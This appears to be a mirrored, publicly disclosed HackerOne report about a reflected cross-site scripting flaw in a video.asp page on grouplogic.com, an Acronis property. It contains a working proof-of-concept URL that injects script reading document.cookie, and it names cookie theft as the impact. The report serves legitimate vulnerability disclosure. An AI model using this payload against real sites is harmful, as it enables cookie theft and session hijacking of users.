HexBrain
Open on HackerOneSign in

Acronis · Report #859802

Reflected XSS on www.grouplogic.com/video.asp

Validstatus
lowseverity
67upvotes
13 Apr 2021disclosed

Summary

Here is my twitter address: https://twitter.com/alicanact60 Don't forget to follow me :)

How it was found

Hello there, I hope you are well!

PoC: http://www.grouplogic.com/video.asp?v=Acroxx1%22%3C/script%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Es_aE&e=mp4&width=560&height=315

Impact

Stealing cookies

Best Regards, @mygf

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original